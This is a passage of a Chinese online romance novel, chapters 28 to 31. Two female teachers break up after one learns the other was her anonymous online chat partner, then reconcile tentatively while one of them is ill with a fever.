总要面对的不是吗? 战线拉得这么长。 该摊牌了。 “林筝墨。” “啊?”林筝墨回头看简越,很好奇简主任今晚怎么两次直呼大名。 “你今天心情怎么样?”一个无厘头的问句。 “很好啊,你呢?” “我时好时坏的。”简越把手机揣包里,向林筝墨走去。 林筝墨也做了同样的动作,双手垂落,等她过来说话。 “所以简主任怎么了?” “我最近在经历一件很纠结的事情。”简越与林筝墨并肩,“但是现在也没太多时间纠结了。” “喔。”林筝墨不懂她的话是什么意思,但明显能感受到简越好像有点低落。 她侧目去看她,发现简越的眼睛里湿润润的,像要哭,但又不像。 “你怎么了?” “你觉得我这个人怎么样?” “啊”林筝墨觉得莫名其妙,但还是认真回答了:“你挺好的。” 你真的挺好的。 以前上班总觉得很无聊。 真正认识你之后呢,觉得生活多了一些色彩。 我还挺喜欢和你一起玩的。 “哪种好?”简越回过头来看林筝墨,眼里浮起一层雾雾的水光,哦,她好像真的要哭了。 林筝墨慌了神,“啊你怎么了简主任?” 简越积压已久的情绪快要决堤,如果这不是学校门口,她真的想扑在林筝墨的肩膀上大哭一场。 她压力好大。 她好害怕。 林筝墨会接受她吗? 林筝墨真的非常不擅长安慰人,特别是在这个节骨眼上。简主任是在她心里最强大,最临危不惧的女人,怎么忽然挂上泪来? 她环顾四周,啊啊啊还没来。 她轻拍简越的肩膀,温声细语:“你怎么了?你遇到什么事了?你好好说。” “我——” “你怎么了?” 简越眼睛向上看,眨了眨眼底的泪光。天空是墨蓝色,树叶是墨蓝色,心情是墨蓝色。感受到眼角一阵温热,原来还是抑制不住掉了眼泪。 “林筝墨,其实” “其实我和她,一直是一个人。” 简越低下头,一双手放进手提包里,指尖触碰到那瓶冰冻可乐。 第一次觉得饮料有属性,冰冷的,无情的。 过量的氧气代表着失控的二氧化碳,她好像已经无法呼吸。这是一瓶汽水,意兴盎然过后也只是一瓶糖水,令人失望的糖水。 简越握着它,带它穿梭过布料和拉链,让它重见天日。 那瓶可口可乐就这样出现在林筝墨的视线里,匪夷所思却又一目了然。 林筝墨忽然觉得很荒谬,她盯着那瓶饮料,觉得它瓶不是瓶,盖不是盖,它长得好奇怪,它为什么会出现在这里。她忽然回忆起无数个瞬间,那些幻影浮光掠影般闪现在脑海,两条不可能相交的线触碰在一起,直到重叠。 直到重叠。 直到那个名字,和这个名字重叠。 直到心中的那瓶可乐,和这瓶可乐重叠。 手机里的微信再也没有响,林筝墨觉得,应该往后好一段时间都不会再响了。 她凝视着简越,这张早就觉得很漂亮的脸。 如今可以大大方方承认了,她好漂亮。但是宁愿这种感觉没有存在过,那该多好。 “简越,你为什么要这样。”好像是第一次叫她的名字吧?林筝墨声音好像填了冰:“你让我怎么接受?” 可乐没接。 “我不知道说什么。”林筝墨现在很乱,她忽然也委屈起来,一股难以言喻的悲伤从胸口蔓延着,淌过喉咙,结果眼睛先有了触觉。 准确来说,先落泪的是林筝墨。 但她迅速背过身去了。 简越只看到她擦眼泪的动作,背影纤瘦得令人心疼,而后她迅速过了马路,一辆电动车从林筝墨身后擦肩而过,再眨眼,林筝墨已经往前走了十几米远了。 不远处,赵筱筱从树底下站起身来,眉头蹙紧了,焦灼地目送林筝墨,又失望地看着简越。 今晚的露天电影怎么不怎么好看! 烂透! 那个姓简的演员烂透!—— 作者有话说:宝宝们我来赔罪了! 昨天特殊原因没有更新 发红包 对不起(鞠躬jpg.) 第29章 第二十九章 这次喂葡萄糖,那下次喂.…… 第二十九章 早知道是这种结果, 但还是在期盼有例外。 这种感觉像是绝症患者去买醉,酩酊一场,第二天醒来希望一切都有转机,有转机。 但没有转机。 林筝墨头也不回地离开, 迅速消失在简越的视线里。 简越没有去追, 她知道追上去是什么结果。 只是一个人站在那棵橡树下, 墨蓝色的天幕压下来,压在树梢上, 压在眼睛里, 酸酸涩涩。忽然觉得世界骤然暴雨,泪珠一串一串的,噼里啪啦落了一脸。 这场带着梦幻与自我欺骗的恋爱, 终还是结束了。 对街,赵筱筱犹豫好几次,想过来安慰简越, 但最终还是没行动。 有时候不安慰才是最大的安慰 * 啊。 好荒谬。 林筝墨行走在错落的街道,她不敢哭得厉害, 连伤心时也怕遇见自己的学生。只是漫无目的地向前走, 走到陌生的街区, 情绪却久久不能平静。 她当然不能接受,甚至费解。她不知道往后要如何面对简越。 她们之间有那么多秘密, 在此之前, 她把什么都给她说了, 看了。 不堪。 尴尬。 懊恼。 心情是千万缠绕的线,揪不出一个具体的答案来。 从校园绿化带走到市中心,街边霓虹闪烁,电光幻影, 富有刺激性的灯光照耀着林筝墨的眼睛,眼角的泪像玻璃碎屑,她的确碎掉了。 包里有她给啊啊啊带的见面礼,那是一瓶专门定制的香水,栀子气味,林筝墨把它扔进街边垃圾桶里,给简越发消息: 【以后不要再联系了吧。】 发送这条,在对方回复以前点击拉黑。这是她第一次使用这个功能,她捏着手机站在街边好久,还是好难过。在想,如果自己绝情一点,是应该点删除的。 可一想到删除之后,她们的聊天记录化为泡影,居然狠不下这个心来。 她为自己找了个借口:人有错,但聊天记录没错。 * 精心策划的晚餐以失败告终。 餐厅老板连续给简越打了三次电话: “女士,您要准备的惊喜我们都准备好了,今晚真的不来吗?您花了这么多心思,取消也太可惜了吧。” “谢谢,那一餐的钱我照付,东西麻烦你们扔掉吧。”末了,才说那句:“确实不来了。” 商家吞吞吐吐,遗憾道:“好的~那东西我们帮您撤了,就不打扰您了。” 想来也是可笑。 简越其实包了场。 那家餐厅有一架钢琴。 一个音乐细胞不怎么发达的人,背着林筝墨去练习了那首钢琴曲,练得有模有样,妄想今晚弹给能听懂的人听,只因为那个人说,这首曲子适合表白。 可惜,没有这个机会了。 手机屏幕亮了一下,说以后不要再联系了,她斟酌好半天,回复了句:我们就要这么结束吗? 迎接她的却是一个红色感叹号。 * 夜晚十点下起了小雨,林筝墨在外面待了好久,淋湿一大半,回家的时候泡泡在她脚边喵喵,却也无瑕顾及。妆花了,心情化了,脱了鞋去浴室冲澡,站在花洒下,看着水珠顺着平坦的小腹向下流淌,一双脚踩在水里,思绪乱飞,满脑子都是简越。 简越递可乐给她时,那个画面还在。 那是她第一次从简越的眼睛里看到无措,一种遇到困难而不知所措的裂感。 她没见过简越这一面,心情依旧烦乱。 思绪在水声里缠绕,林筝墨关掉花洒,强迫自己从那种情绪里走出来。 洗完澡,来到客厅,想起冰箱里有几瓶啤酒,是上次做啤酒鸭留下的。 她不喝酒。 却决定放肆一把。 一个人坐在沙发上买醉,丝毫不克制,下料猛,抱着酒瓶一口又一口,满嘴的苦涩抵不过心头的一分,她是了解自己的,思绪迷沉。 很快,她便晕沉沉 林筝墨做了一个梦,梦见她和简越回了家,她们在玄关接吻,梦里她特别主动,特别想触碰简越,恨不得把简越浑身吃遍。 梦里,林筝墨在简越耳边说:“你帮我保守这个秘密好不好?” 简越只是笑,又伸出手拥抱她,那只手忽然变成了一只猫爪子,轻轻地在林筝墨的头发上拨弄着。林筝墨迷迷糊糊从梦中醒来,发现居然是泡泡。 “泡泡” “咩~” 小猫叫得娇,像小羊儿,林筝墨伸手去摸它的毛发,软乎乎地揉了几下,翻了个身,怀里的酒瓶滚在地毯上,发出蹬的一声闷响。 几点了? 手机屏幕显示:3:18. 凌晨了啊,是周三了,一个更没期待的日子,她期待已久的周二已经过去了。 回味那个梦。 哦,不。 不许回味。 林筝墨支起身来,墨发垂落肩头,她在看小猫。泡泡乖巧蹲地,圆溜溜的眼睛盯着她,一人一猫对视。 “人确实坏。”林筝墨嘀咕:“坏透了,猫好人坏。” “咩咩~”——就是就是。 林筝墨没了下句,卸了力气似的,忽然又倒下去,靠在软软的沙发垫上,整个人像软糖似的陷在里头。实话说,或许她现在酒还没醒,思绪依旧飘忽,几个片段依旧是简越。 简越。 我不开心。 简越。 我恨你。 简越。 呜—— 那是一种无处释放的烦闷,好像一个被吹起来的泡泡糖,林筝墨就困在里头。她想在泡泡糖边缘戳一个洞,好让自己喘息一会儿,可手指一戳,她又看见了简越。 她忽然想给简越打电话。 她想当世界上最不讲礼貌的人。 她想对简越说上几句狠话—— 对,要给简越打电话,要给简越打电话。 手机已经拿过来,点开那人的头像,右上角的三个点——加入黑名单——点击绿色——恢复。 她把简越从黑名单拉出来了,反手滑到聊天框,一个语音电话直接打过去。 噔噔噔——没有太多个噔。 两秒,对方摁了接通。 原来三点钟有两个人在失眠,听筒好像会呼吸,瞬间潮气扑面。 简越没说话。 林筝墨说:“我讨厌你。” 林筝墨又说:“你不许说话。” 简越非但没说话,连呼吸都静止了。 礼貌的林筝墨撕下礼貌的面纱,礼貌的林筝墨在深夜飞走了。 不礼貌的林筝墨说:“你为什么骗我?不,你也不用回答,我不想听到你的声音。” 不礼貌的林筝墨还说:“所以你一直在暗中观察我吗?有没有几个瞬间,我在你心里就是个笑话?” 简越觉得,嘴巴被上封条真是一种凌迟,我怎么会觉得你是笑话呢?林筝墨,你的字典里从来没有可爱这个词吧。 “不能接受!我不会接受的!” “就说这些,不要再联系了。”说完这句,林筝墨嘟的一声挂了电话,并没有感到开心,反而更加难过了 她觉得自己好幼稚。 明明可以不打电话的。 * 第二日。 周三。 张老师穿上自己刚买的新裙子,不小心在走廊又遇见简越,吓了一跳。 “简主任你” 莫不是昨日路边被拦截,去打了一仗才回来,这状态,是一宿没睡吧? 简越明显提不起精神来,却强撑着:“怎么了?” “你脸色好差!”张老师这人,除了八卦一点,心不坏。连忙在简越额头上摸了一把,“哎呀你是不是发烧了?” “没有。” “吃过早饭了吗?” “也没有。” 张老师把包里的早餐递给简越,关切道:“你吃点儿吧,我抽屉里还有小饼干呢。” 简越不想吃,张老师却执意。 简越没力气和她推拉,接下了。张老师刚笑着点头,结果一回头,梅开二度,她忽然看见了刚上楼梯的林筝墨。 林老师偏瘦,但纤瘦里带着仙气,平日里走路都不紧不慢的,温柔又有气质。 但今天,林筝墨是扶着楼梯上来的,她好像很累了。 啊… 大家都怎么了? 昨儿这俩人还美美的,今天怎么抽了魂儿似的。 简越在看到林筝墨时,眼色有了微妙的变化,枯木逢春,又没真的见到春天。只是眼睛稍微亮了一下,又迅速黯淡下去了。 张老师朗声问:“最近是不是那个病毒又来了?这一次是软骨病吗?你们怎么都软绵绵的?” 林筝墨听到张老师说话,这才抬眼,发现简越。 两人目光相触,一秒弹开,林筝墨心跳抽离了一下,接张老师的话:“有点困,我喝杯咖啡就好了。” 说着要从简越身侧走过,简越忽然挡了她的道,林筝墨没注意,半个身子撞进简越的怀抱里。 简越颓颓的,却香香的。 软绵绵的臂膀躲在衬衣面料里,温度烫热,欲盖弥彰。 林筝墨心跳漏了一拍,深吸一口气,她甚至不抬眼看简越,只是从她怀里退出来,像没发生过似的,然后往另一边走。 张老师没发现两人之间的端倪,笑道:“看看你俩,游神到没边儿了~” “那个,我有早自习,先走了。”林筝墨扔下一句,算是对张老师的礼貌回复。 * 今天的早自习是语文,不是英语。 但无人在意。 林筝墨飘到工位上,对于那本日历不再关心,没有意义。今天天晴还是下雨,也不关心,没有人可以分享,所以不关心。 MP3就放在抽屉里,林筝墨拉开抽屉的时候愣了一下,扯下耳机,再把MP3推到最里面,用几本书压住。 她不会再听这个了。 烦闷加倍。 油炸办公室。 空气闷热。 隔壁桌赵铭老师也飘过来,他似乎总是爱和林筝墨聊天。 “早上好啊林老师。” “z.”林筝墨甚至都不是回复的早,而是一个开口的轻音,没有发音。 “让我猜猜!”赵铭还沉浸在自己的冷幽默里:“你今天肯定没喝咖啡对不对!昨天晚上地磁暴影响了你睡眠对不对?” 他能不能闭嘴? “没喝,没睡。” “我请你喝!最近外卖搞活动,我有好多羊毛可以薅。”说着赵铭拿出手机要请林筝墨喝咖啡。 林筝墨刚想拒绝。 赵铭直接爆雷:“甜心芭乐怎么样?上次你请简主任喝的。” “我不喝。”林筝墨脸色迅速冷下来,支开赵铭:“你还不快去上课。” “语文早读呢,不急。”赵铭乐呵呵:“点好了,甜心芭乐,五分糖。” 甜心芭乐? 真是扇了林筝墨一耳芭子那么难受。 你不是请我喝咖啡吗? “我不太喜欢喝这个诶,你自己喝吧,或者你拿给她喝吧。” 林筝墨承认自己内心骚动,所以她不想听到任何有关那个人的消息。 赵铭是个不识趣的,索性换了个话题:“哦对了,过两天去西山,酒店已经安排好了,之前说好的,你和简主任一间” “我不去。” 赵铭战术后退,不可置信看着林筝墨,讨伐起来:“不是,林老师,你上次还说你一定去呢!” “我不去。”林筝墨手里的笔捏紧了,内心翻涌,不露声色,她才不要和简越一间,她们在一个房间只会 只会徒增烦恼! “可是报了名呀,您也好久没参加团建了,上次把你名字报上去的时候,大家伙儿都挺开心。” “再说吧。” 赵铭还想强人所难几句,可见林筝墨今天确实情绪不佳,没追问下去,顺着台阶下来,讪笑:“那再说再说~我多点一杯咖啡,芭乐就给主任好了!” * 简越发现自己好像生病了,很严重的风寒感冒。大概是昨晚淋了雨,回家后只顾着伤心,没及时洗澡。 张老师送的早餐还在桌上,食欲乏乏。 简越昏着脑袋进行日常工作,这次的PDF文件确实是消防内容,没心情看那些花里胡哨的了。 没看两页,屏幕开始泛花,重影。简越揉了揉眉心,惊觉这么惜命一个人,居然没把自己照顾好,连忙起身给自己倒杯水。 站起来那瞬间,只觉得眼前泛黑,视线里,空气忽然镀了一层灰黑,漆黑挤压着眼球,简越眨了眨眼,门前忽然闪出一道人影来,是拿着甜心芭乐的赵铭。 “赵铭”简越唇色惨白,下意识向对方求助。 “简主任你喝不喝甜心芭乐?林老师她不喝。”赵铭先是挂着笑,下一秒笑容凝固在嘴角。 他看到简越一只手撑在办公桌上,整个人虚虚飘飘的,小幅度来回晃动了一下,然后 “简主任晕倒了!!”这句话传到隔壁办公室,也只花了三秒钟而已。 林筝墨蹭的一下站起身来,好像天花板有一根绳子早就吊在她的后背似的。 所有人还在确认情况的时候,小鸵鸟已经蠢蠢欲动。她朝赵铭走去,但又没走向赵铭,因为她和赵铭擦肩而过了。 办公室门口,躺着一杯摔碎的甜心芭乐。 芭乐的粉白色液体往成一条长河,蔓延到简越的办公室里,视线延伸过去,简越就躺在地板上,她的上半身紧贴桌面,腰背弯曲着,是背对着林筝墨的,长发凌乱散落,没看到正脸。 林筝墨冲进去,一把将简越抱在怀里。 “简越” “简越你怎么了?” 林筝墨轻拍简越的脸颊,却发现她的嘴唇失了血色,整张脸接近苍白。 掐人中,没反应。 这不是林筝墨印象里的简越。 不过两秒,身后骚动着,有老师陆陆续续冲过来,张老师在人群中说:“我就知道!她没吃我给她的早饭!而且她还有点发烧!我估计低血糖而且还严重些!” “要赶紧送医务室!” “别医务室了!直接医院吧!”张老师指挥着:“龚老师,你力气大,你背一下简主任!” 林筝墨看了一眼龚老师,龚老师是体育老师,体力自然不在话下。 但她不想让他背她。 “好,交给我。”龚老师五大三粗地压过来,黑乌乌的身影挡在林筝墨面前,伸手去捞简越的胳膊。 林筝墨却没松手。 死死抱住简越,让简越的脑袋贴在自己怀抱里,无意识之间,她居然还和简越十指紧扣了。 让龚老师背简越。 本能是抗拒的。 但无人察觉,所有人都以为林老师是吓坏了,忘了松手。 “林老师你得松开!不然他背不了!” “林老师!” “小林你醒醒!” 林筝墨惊慌中回过神来,迅速松开。龚老师把简越的手往肩膀上一吊,林筝墨立马起身搭了把手,拉着简越的手。 龚老师快速闪人,驮着简越,一路癫癫跑跑下楼,跑得林筝墨胃里翻滚,却还是一路牵着简越。 “龚老师,你能不能跑慢点?她好像有点不舒服。” “啊?她醒了吗?是低血糖吧?”龚老师刚好到一楼,缓下脚步,发现简越确实有了动静。 前后就几分钟的事,很符合低血糖。 身后,张老师跑得慢,跟着下来,手里却捏着一瓶葡萄糖,是上次运动会留下的,念叨念叨:“你们这些年轻人,天天照顾不好自己!” 她掰开玻璃盖,喂到简越嘴边,倒是没什么动静。又过了几秒,简越的嘴巴稍微翕动了一下,液体流了一点进去,她的嘴唇迅速闭上了,没喝。 过了一会儿,听见简越嘟哝嘀哝。 呓呓嘢嘢,听不懂。 张老师凑近了,耳朵贴在简越唇边,听她说话。 “林我不” “她说什么?”林筝墨焦灼极了。 张老师退开,把手里的葡萄糖递给林筝墨,“她好像说,让林老师喂?林老师不喂,我不喝?” 张老师其实也没听清,她瞎猜的—— 作者有话说:哦!对了!这两天都上班呢!下班才码字的 明天不上班啦,所以八点更新明天! 【小剧场】 简越:这次是喂葡萄糖,下次就是喂[彩虹屁] 林筝墨:去死[小丑] 第30章 第三十章 小鸵鸟的亲吻日记 第三十章 张老师上周麻将大战一百回合, 手臂酸着呢,所以只是找了个借口,想让人帮她举葡萄糖。 她也就是随口一说,搞点冷幽默。 哪能洞悉这两人之间的关系。 “她是这么说的?”林筝墨完全不能信服, 一定不是。 “我听起来像。”张老师的葡萄糖已经塞进林筝墨手里, 不管三七二十一, 先发制人:“唉,那你喂她喝吧喂她, 怪可怜的。” 小小的葡萄糖大大的阻碍。 大热天的, 林筝墨觉得自己被冰冻了。 她不能喂她,这样很奇怪不是么?她昨晚才打过电话凶她,虽然没说分手, 但也算不欢而散了,是默认的分手状态,她们现在该离得远远的才对。 简越神志不清, 没有辨别能力,难道自己没有吗? 对, 不能喂。 可手根本不受控制是为什么? 在张老师的煽动下, 葡萄糖已经送出去, 送在简越嘴边,这一喂, 可不能像聊天记录一样撤回, 因为简越喝了。 简越抿了两口, 虚虚抬眼,恍恍惚惚看见林筝墨迅速把手收回去,要再喝,已经喝不到了。 天空的太阳明晃晃的, 暴晒着林筝墨的小秘密。 龚老师望向张老师,“怎么说?我还送她去医院吗?” 张老师观察简越的情况,是要好些了,脸色都红润不少,看来林老师的葡萄糖很有魅力。 “我估计她歇一会儿能好些。”张老师又靠近简越,小声询问她,简越虚弱地点点头,算是同意不去医院了。 “她就住教师公寓,咱们送她回家吧?”末了,张老师瞅了眼时间,“哎呀,可不行,马上下课了,我第一节有课。” 于是望向龚老师与林筝墨。 “不然你俩?” 林筝墨不吱声,不表态。 龚老师以为她不想,便自告奋勇:“没事,我一个人送她也行。” 林筝墨本不想送,龚老师这么一说,心里不是滋味。他还想单独把他送回家?不管出于什么理由,都不妥。 “不合适吧!”张老师直言:“你一个单身大小伙,送咱们简主任回家肯定不行,让林老师一起。” 龚老师讪笑:“在理,在理。”说完特意看了林筝墨一眼,“林老师一起吧?” 最后一次。 林筝墨这样告诉自己。 干涉完今天这件事,她一定要好好与简越划清界限。现在情况紧急,没办法再犹犹豫豫了。 “嗯。” * 龚老师主要起到一个体力搬运的作用,在林筝墨眼里他就是一辆卡车,自己会走路的那种。 好不容易到教师公寓,龚老师停下脚步,犯了难:“简主任住哪里啊?” “就这栋。”林筝墨声音冷淡。 往上看。 一二三四五六七。 七楼呢。 收回视线。 七六五四三二一。 再侧目看龚老师,他已经把简越放下来,正在歇气。 林筝墨其实一直在偷偷观察简越,发现她处于虚弱状态,估计还晕着呢,回去得好好休息。也就是说,简越现在应该不知道背她的人是谁。 龚老师坐着歇息几分钟,撸起袖子接着干。 “来吧!背她上去!” 林筝墨默不作声听着,没搭腔,心里盘算着一件事 龚老师步入楼巷,抬起脚步往上走,每一个曲折的弯点,都是林筝墨内心的喧嚣。 她不想承认一件事——那就是她非常讨厌龚老师背简越。 但有一件客观事实,就是她没办法背简越走那么远,没办法把她从一楼背到七楼。 一阶,两阶 一阶,两阶 大概在三楼的时候,林筝墨忽然开了口:“你累吗?” “嗯?”龚老师回头看林筝墨,发现林筝墨居然一直拉着简越的衣角。 她没牵她的手。 但她牵她的衣角。 龚老师:??? 林老师你几岁了? “我不累啊。” “你一定累了吧。”林筝墨强行给对方扣上一个答案,不等龚老师回答,牵着衣角的手往上,摸着简越的背脊梁,又轻轻拉扯了一下。 她在示意龚老师把简越放下来。 龚老师心想,哎哟,林老师居然关心我?她是觉得我累了吧?那我就随了她的意吧,既然她想让我休息一下,那我恭敬不如从命呗。 “那我歇歇!”龚老师笑嘻嘻把简越放下,让林筝墨扶着简越,自己往后退一步,靠在楼梯的栏杆上,摆了一个自认为还算帅气的姿势,准备和林筝墨搭讪。 结果林筝墨眼睛都没抬一下,只是绕到简越身前去,膝盖稍稍弯曲,干脆利落,不到两秒就把简越驮在背上。 她早就想背简越。 先前一直没吭声。 是在测量自己体力极限的距离。 她身体是弱,但她不是废物。未必然龚老师真的当她是个陪跑员?她的女朋友要他来背?哦,不。 她的前女友要他来背? 龚老师变了脸色:“怎么能让你背!!” 说完这句,龚老师发现林筝墨已经上了好几个阶梯。 身材纤弱的林老师,要背同样纤瘦的简老师,看起来有点吃力。简老师虽然很轻,但林老师应该更轻吧? “林老师,我来吧,我来。”龚老师几步奔向上,那点儿大男子自尊心展现出来,他怎么能让林黛玉干体力活儿?显得他很懦弱。 林筝墨才不是他人眼里的林黛玉。 林筝墨是体力微弱的勇士,是瘦小里的佼佼者,是自我力量世界里最大限度挑战自己的智者。 “就不用担心了。” “你回去吧。” “我会把她送到家。” “我不累呀!”龚老师急了。 “我也不累。”林筝墨微喘着,却用平稳的语调说:“她不舒服,我要照顾她,两个女孩子方便些,就不麻烦你了。” 一句一句把龚老师推开。 “那不行!”龚老师没放弃。 “行的。”林筝墨快没耐心了,不管龚老师说什么,她都不说话,不回头,不理会。 直到五楼,龚老师停了下来,觉得林筝墨好像真的可以把简越背上去,便不自找没趣了。 “唉,那我走吧” * 到七楼。 林筝墨真是累到虚脱,心里却很满足。她这辈子最讨厌运动,一点点体力活就能把她压垮,但把简越背到家门口却有一种成就感。 简越就这么勾着她的脖子,带着一点点冰冷的胳膊贴着她,肌肤软绵绵的,像夏日沙滩上细腻的泥沙。 “钥匙在哪?” 简越没回答。 林筝墨慢慢把简越放下来,简越顺势靠在林筝墨怀里,上半身贴得好近。 简越的呼吸,味道,顺着空气全都揉进林筝墨的身体里,荡漾开一层涟漪。 林筝墨忽然脸颊滚烫,强撑镇定,胡乱在简越的裤包里摸了一圈,找到一串小钥匙,发现刚好可以把门打开。 扶着简越,两人亦步亦趋,发现客厅里的布局要比上次凌乱一些。 看得出昨晚简越过得很潦草,素来爱干净的一个人,一件T恤随意扔在沙发,她的牛仔裤也搭在上面,茶几上是喝了一半的冲剂,早就凉了。 林筝墨大致收捡了一下,把简越安顿在沙发上。 环顾四周,找到药箱,一些基本的退烧药也是有准备的。 我给她上个药就走——林筝墨心想。 狭窄的沙发躺了个简越,空间占用一半。阳台的日光照耀进来,刺得眼睛滚烫,林筝墨又去把窗帘阖上,屋内变得阴凉,才又规规矩矩坐在简越身旁。 林筝墨以前其实很少观察简越,有一个很重要的原因是,她觉得那样看一个同事很奇怪。 她不是觉得简越不漂亮,而是太漂亮,所以这样的肆无忌惮显得很诡异。 可现在—— 眼神无意识往那张脸上飘,她曾经对这张脸有无数幻想,在一百万个思恋蔓延的深夜,早就对这个瞬间模拟过太多遍。 如今简越就躺在她面前,完美得就像试卷的标准答案,怎么填都是一百分。 林筝墨看得恍惚,发怔,思绪又飘到昨天。昨晚是她把她扔下,让她淋了雨又失眠,才变成今天这样的。 不能算强加因果,事实如此。 半夜还醉酒打电话凶她,她一句话不说,默默听着。她怎么就不懂反驳两句?好让林筝墨现在心里好受一些。 林筝墨看着简越,嘴唇苍白如纸,唇瓣有细微的,渺小的纹路,鼻梁尖而上挺。 没忍住,伸出手轻轻去碰简越的鼻尖,软骨绵绵的,像一个按钮。 我再戳两下就走——林筝墨自我说服。 她戳了,指腹向下滑动,又落在简越的嘴唇上,像一个赌了又赌的顽徒。 两瓣嘴唇之间有一个微型沟壑,手指碰上去时,像小孩儿坐滑滑梯,乐此不疲。 被来回触碰的人感受到点什么,迷迷糊糊快要醒来。 * 有人在摸我吗?——那时简越还睁不开眼,但感觉已经回温,渐渐有了意识和知觉。 她闻到林筝墨的气味了。 是一个梦吧? 可是触觉好明显。 刚开始嘴唇好痒,下巴好痒,下巴痒了一会儿,嗯,大概几秒,忽然脖子也痒起来。从左边到右边,那根手指,把脖子区域的皮肤好好欣赏了一遍。 简越想发出一点声音,但她没力气。 世界是下坠的,迷幻的,身体却是敏感的。 脖子区域陷落了! 转而进攻到锁骨两块凸起的骨头。 那两块骨头连接着简越的敏感神经,那人的指腹触碰一次,简越颅内的海浪就荡漾一次,荡漾着荡漾着,荡漾到额头的退烧贴上,连冰冷也烧得烫热了。 是梦吗? 世界上有这样真实的梦吗? 忽然之间,那种触摸停止了。简越心头倏然一空,可很快,又有另一种气味逼临而来。 洗发水。 绝对是洗发水的味道。 清透无花果? 好好闻。 发丝轻轻摩挲着简越的耳朵,热气贴在脸颊上,一呼一吸,是呼吸。 有一个人正在靠近她,目的地是左边脸颊,那个人靠近之后,在一定的距离停下,现在保持不动,应该是在凝视她。 简越能感觉到,想睁开眼,却怎么都睁不开来。 下一秒—— 简越感受到自己的脸颊忽然被小虫子啄了一下。 一种胆小又蠢蠢欲动的虫子。 一下。 也在简越的心尖尖跳动一下。 沙发的海绵弹起,有人起身,密密麻麻的脚步声,慌张而惊恐。 啪嗒—— 有人出门了。 用逃的—— 作者有话说:林筝墨:今天就摸到这里,告辞[彩虹屁] 简越:再往下摸一点也没关系的[彩虹屁]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 30-40 第31章 第三十一章 小虫侦破日记! 第三十一章 林筝墨觉得自己是个满腹色欲的无耻之徒。 有时候人还是自己骂自己骂得狠些。 亲吻过后的温度还在, 牵连着心脏狂跳。 楼梯间正进行着一项鸵鸟逃跑计划,她吓得连续三次一步两阶梯,前脚追着右脚飞,稀里糊涂冲下去。 临到三楼, 扶着栏杆忽然停下来。 突然想起还没喂简越吃药。 又跑上四楼, 停下。 不行! 回去那多尴尬! 接着又下三楼, 停下。 不能走! 不喂药她烧傻了怎么办? 又上楼。 不行! 她倒是吃了药。 自己得疯了! 林筝墨上上下下好几个回合,得亏楼梯间没有监控, 不然全校都得看她跑马拉松。 在极度混乱与踟蹰之间, 林筝墨始终没有突破心里那道坎。 几番推拿。 来来回回。 最终选择了逃逃逃逃逃 * 赵筱筱今日情绪忧忧,她还在担心表姐和林老师的事。第一节课她故意去办公室晃悠了一圈,发现两人居然都不在。 难道昨晚她们和好了? 赵筱筱又开始做“黄”梁梦了 “筱筱, 林老师找你。” “诶?”赵筱筱蹭的一下起身,“找我?在哪??” “对,在走廊。” “噢!!” 赵筱筱一路小跑出去, 发现林筝墨正在走廊等她,走近了, 才察觉林筝墨表情不对劲。 素来冷静的林老师, 此刻呈现出一种焦躁情绪, 即使表情还是那个表情,但有些话貌似立马要从她喉咙里溢出来了。 “林老师, 怎么了?” “有件事, 你能不能去你姐宿舍, 喂她吃退烧药?” “她生病了吗?”赵筱筱仔细观察林筝墨的表情,暂时弄不清来龙去脉。 “应该是。”林筝墨好看的唇抿成一条线,谨慎道:“下节我上你们班的课,怕来不及, 现在是大课间,你看能不能去一趟?这节课落下的内容,后面我给你补上好不好?如果不行,我联系张老师。” “可以的。”赵筱筱立马应下,心想,我是侦察兵,我先接下这个任务,去瞅瞅什么情况! 林筝墨松了口气:“辛苦了。” “她是我姐,应该的。”赵筱筱后退两步,“那我先去了!” “诶,等等。”林筝墨叫住她。 赵筱筱:“?” 林筝墨:“这件事别告诉你姐。” 赵筱筱:“收到!!” 一般来说,这种前词,都是机密文件!侦察兵信息+1. * 简越烧得厉害,一个人躺在沙发上,觉得沙发在快速旋转,她好晕,还想吐。 听见关门声之后再也没有动静,原本怀疑林筝墨是不是来过,但心想对方不可能这么狠心,后来也只是怀疑做梦了。 就这样躺在沙发上,神思游离,她想起很多年前,那时候她还住在福利院,也是淋了雨,半夜发烧得厉害,却躺在小床上不敢吱声。倒不是福利院的人对她不好,而且年少时的简越,很害怕给别人添麻烦。 她一直觉得生病是在给别人添麻烦。 不敢奢望有人能全心全意照顾她,总觉得,这些小病小痛熬一熬就好了。 直到后来遇见简桑,遇见妈妈,才知道原来需要怜爱是人之常情,家里人就是应该互相照顾。 玄关处响起敲门声。 砰砰砰几声。 “姐——开门儿,姐——” “姐——” 是妹妹,妹妹的声音像是糊了一层保鲜膜那么小声,消过音似的,又想起小时候她咿咿呀呀哭闹的样子,有点恍惚。妹妹来了,有人照顾我了。简越迷迷糊糊睁开眼,望着苍白的天花板,黑黯的光影在眼前晃了晃,却完全没力气,又阖上了眼。 门口。 赵筱筱只敲了几次门,发现简越没应,手往校裤里一揣,摸到一把钥匙。还好,她没换裤子,平日里中午会在简越这里吃饭,所以备用是有的。 迅速开门,进屋,熟练换上自己的小拖鞋,发现客厅的窗帘是合上的。 “姐。” 赵筱筱的声音终于具象化了,离简越越来越近,她跪在沙发前,用手摸了一下简越额头上的退烧贴,滚烫。 “你怎么回事啊?” 简越不说话,没力气。 “我们女同真是”赵筱筱小声嘀咕:“分手就知道折磨自己呗。” 说着在药箱里扒拉了几遍,捻出几颗布洛芬,又去倒温水,慢慢喂简越吃药。简越虽然没法说话,却还是配合的。 喂了药,赵筱筱就坐在地毯上看简越,额头上渗了一层薄汗,脸如白纸。 表姐她 应该很难过吧? 看沙发这些的痕迹,总觉得林老师应该来过。现在两个人是什么情况呢?以后都不往来了吗? 可林老师明显还在意着 赵筱筱胡乱揉了揉自己的头发,觉得自己能起到的作用微乎其微。 * 半小时后,简越从游离的状态中醒来,觉得嗓子回了温,脑袋沉稳下来,不飘了。 “林”她还是情愿叫她名字的,情愿被小虫子咬的那一刻是真的。 “姐,是我。”赵筱筱的面孔忽然出现在简越视线里。 简越心中滑过淡淡的失落,好吧,是梦。 “好点啦?”赵筱筱又探了探她的温度,降下去些了。 简越只是点头,没说话。也是奇怪,人生病之后就容易脆弱,一旦脆弱,就开始想要得到点什么,想要的又得不到,所以低落也很明显。 她很少呈现出这种表情。 虚空、无望还带着点儿寡淡的绝望。 